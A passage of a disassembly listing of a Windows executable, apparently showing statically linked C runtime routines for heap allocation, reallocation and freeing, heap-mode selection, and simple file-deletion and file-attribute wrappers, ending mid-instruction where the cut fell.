push dword_4DCFE4 call ds:dword_427144 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+Src] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax ; Size push ecx ; Src push edi ; Dst call _memcpy push [ebp+Src] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+Src] push 0 push dword_4DCFE4 call ds:dword_427198 ; RtlReAllocateHeap mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB9DC, 0 jz short loc_41B33B push esi call __callnewh test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+Size] push eax lea eax, [ebp+var_4] push eax push [ebp+Src] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C9D4 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+Size] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+Src] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax ; Size push [ebp+Src] ; Src push edi ; Dst call _memcpy push ebx push [ebp+Size] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DCFE4 call ds:dword_427144 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax ; Size push [ebp+Src] ; Src push edi ; Dst call _memcpy push ebx push [ebp+Size] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+Src] push 0 push dword_4DCFE4 call ds:dword_427198 ; RtlReAllocateHeap mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB9DC, 0 jz loc_41B33B push esi call __callnewh test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+Src] push 0 push dword_4DCFE4 call ds:dword_427198 ; RtlReAllocateHeap test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB9DC, 0 jz short loc_41B49D push esi call __callnewh test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; [00000020 BYTES: COLLAPSED FUNCTION __fsopen. PRESS KEYPAD "+" TO EXPAND] ; [00000013 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND] ; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: __nh_malloc+Bp arg_0 = dword ptr 4 mov eax, dword_4DCFE8 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DCFE0 ja short loc_41B569 push esi call ___sbh_alloc_block test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C9D4 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DCFE4 call ds:dword_427144 ; RtlAllocateHeap loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000FE BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND] ; [0000008B BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION _atoi. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND] ; [00000099 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND] ; [0000001A BYTES: COLLAPSED FUNCTION __initterm. PRESS KEYPAD "+" TO EXPAND] ; [00000052 BYTES: COLLAPSED FUNCTION _sprintf. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: WinMain(x,x,x,x)+45p ; sub_401ACD+31A3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A960, eax retn sub_41B8D8 endp ; [0000001E BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND] ; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION __snprintf. PRESS KEYPAD "+" TO EXPAND] ; [00000147 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND] ; [00000057 BYTES: COLLAPSED FUNCTION _fgets. PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION _strtol. PRESS KEYPAD "+" TO EXPAND] ; [00000208 BYTES: COLLAPSED FUNCTION _strtoxl. PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION _strtoul. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5981p arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_427080 ; DeleteFileA test eax, eax jnz short loc_41BDF2 call ds:dword_42708C ; RtlGetLastWin32Error jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call __dosmaperr pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; [00000032 BYTES: COLLAPSED FUNCTION _fprintf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000027 BYTES: COLLAPSED FUNCTION _strrchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000038 BYTES: COLLAPSED FUNCTION _strncmp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+" TO EXPAND] ; [0000009C BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+" TO EXPAND] ; [00000050 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD "+" TO EXPAND] ; [00000123 BYTES: COLLAPSED FUNCTION _strncat. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND] ; [00000034 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+" TO EXPAND] ; [000000CF BYTES: COLLAPSED FUNCTION _floor. PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION __fpmath. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND] ; [00000027 BYTES: COLLAPSED FUNCTION __ftol. PRESS KEYPAD "+" TO EXPAND] ; [000000CF BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; [00000007 BYTES: COLLAPSED FUNCTION sub_41C8C2. PRESS KEYPAD "+" TO EXPAND] ; [00000007 BYTES: COLLAPSED FUNCTION sub_41C8C9. PRESS KEYPAD "+" TO EXPAND] ; [0000004F BYTES: COLLAPSED FUNCTION unknown_libname_2. PRESS KEYPAD "+" TO EXPAND] ; [00000036 BYTES: COLLAPSED FUNCTION ___CxxFrameHandler. PRESS KEYPAD "+" TO EXPAND] ; [00000054 BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND] ; [00000025 BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND] ; [000000B4 BYTES: COLLAPSED FUNCTION _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; [00000075 BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND] ; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000001F BYTES: COLLAPSED FUNCTION __EH_prolog. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)+26p ; sub_4264E2+10p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND] ; [0000006D BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND] ; [000000DC BYTES: COLLAPSED FUNCTION _time. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000008C BYTES: COLLAPSED FUNCTION unknown_libname_4. PRESS KEYPAD "+" TO EXPAND] ; [0000008C BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND] ; [0000010A BYTES: COLLAPSED FUNCTION _fwrite. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416909+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call ds:dword_427098 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_41D3DE call ds:dword_42708C ; RtlGetLastWin32Error push eax call __dosmaperr pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB958, 0Dh mov dword_4DB95C, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AA BYTES: COLLAPSED FUNCTION __alldiv. PRESS KEYPAD "+" TO EXPAND] ; [0000009E BYTES: COLLAPSED FUNCTION __strupr. PRESS KEYPAD "+" TO EXPAND] ; [00000028 BYTES: COLLAPSED FUNCTION _isdigit. PRESS KEYPAD "+" TO EXPAND] ; [00000028 BYTES: COLLAPSED FUNCTION _isspace. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AC BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+" TO EXPAND] ; [000000CB BYTES: COLLAPSED FUNCTION _tolower. PRESS KEYPAD "+" TO EXPAND] ; [0000001D BYTES: COLLAPSED FUNCTION _wcslen. PRESS KEYPAD "+" TO EXPAND] ; [000000FF BYTES: COLLAPSED FUNCTION _mbstowcs. PRESS KEYPAD "+" TO EXPAND] ; [000000D7 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call __XcptFilter pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call __exit ; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND] pop ecx pop ecx retn ; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit. PRESS KEYPAD "+" TO EXPAND] ; [000000B3 BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND] ; [0000003B BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+" TO EXPAND] ; [0000005C BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: ___endstdiop push 1 call _flsall pop ecx retn sub_41DBE7 endp ; [0000006D BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: sub_41DC8A+136p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call ds:dword_42709C ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DC8A proc near ; CODE XREF: sub_41DDD2+20p Str = byte ptr -122Ch SubStr = byte ptr -19Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 122Ch call __alloca_probe lea eax, [ebp+var_98] push ebx push eax mov [ebp+var_98], 94h call ds:dword_4270C8 ; GetVersionExA test eax, eax jz short loc_41DCCD cmp [ebp+var_88], 2 jnz short loc_41DCCD cmp [ebp+var_94], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: sub_41DC8A+27j ; sub_41DC8A+30j ... lea eax, [ebp+Str] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call ds:dword_4271B4 ; GetEnvironmentVariableA test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp+Str] cmp [ebp+Str], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: sub_41DC8A+83j mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: sub_41DC8A+76j ; sub_41DC8A+7Aj inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: sub_41DC8A+70j lea eax, [ebp+Str] push 16h ; MaxCount push eax ; Str2 push offset Str1 ; "__GLOBAL_HEAP_SELECTED" call _strncmp add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp+Str] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: sub_41DC8A+9Dj lea eax, [ebp+SubStr] push 104h push eax push ebx call ds:dword_427070 ; GetModuleFileNameA cmp [ebp+SubStr], bl lea ecx, [ebp+SubStr] jz short loc_41DD65 loc_41DD52: ; CODE XREF: sub_41DC8A+D9j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: sub_41DC8A+CCj ; sub_41DC8A+D0j inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: sub_41DC8A+C6j lea eax, [ebp+SubStr] push eax ; SubStr lea eax, [ebp+Str] push eax ; Str call _strstr pop ecx pop ecx loc_41DD7A: ; CODE XREF: sub_41DC8A+A5j cmp eax, ebx jz short loc_41DDBC push 2Ch ; Val push eax ; Str call _strchr pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: sub_41DC8A+115j cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: sub_41DC8A+10Cj inc ecx loc_41DD9D: ; CODE XREF: sub_41DC8A+110j cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: sub_41DC8A+107j push 0Ah ; Radix push ebx ; EndPtr push eax ; Str call _strtol add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: sub_41DC8A+5Cj ; sub_41DC8A+F2j ... lea eax, [ebp+var_4] push eax call sub_41DC5D cmp [ebp+var_4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: sub_41DC8A+3Ej ; sub_41DC8A+126j ... pop ebx leave retn sub_41DC8A endp ; =============== S U B R O U T I N E ======================================= sub_41DDD2 proc near ; CODE XREF: start+5Ap arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call ds:dword_4271BC ; HeapCreate test eax, eax mov dword_4DCFE4, eax jz short loc_41DE28 call sub_41DC8A cmp eax, 3 mov dword_4DCFE8, eax jnz short loc_41DE0E push 3F8h call ___sbh_heap_init pop ecx jmp short loc_41DE18 ; --------------------------------------------------------------------------- loc_41DE0E: ; CODE XREF: sub_41DDD2+2Dj cmp eax, 2 jnz short loc_41DE2B call sub_41E976 loc_41DE18: ; CODE XREF: sub_41DDD2+3Aj test eax, eax jnz short loc_41DE2B push dword_4DCFE4 call ds:dword_4271B8 ; HeapDestroy loc_41DE28: ; CODE XREF: sub_41DDD2+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_41DE2B: ; CODE XREF: sub_41DDD2+3Fj ; sub_41DDD2+48j push 1 pop eax retn sub_41DDD2 endp ; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, 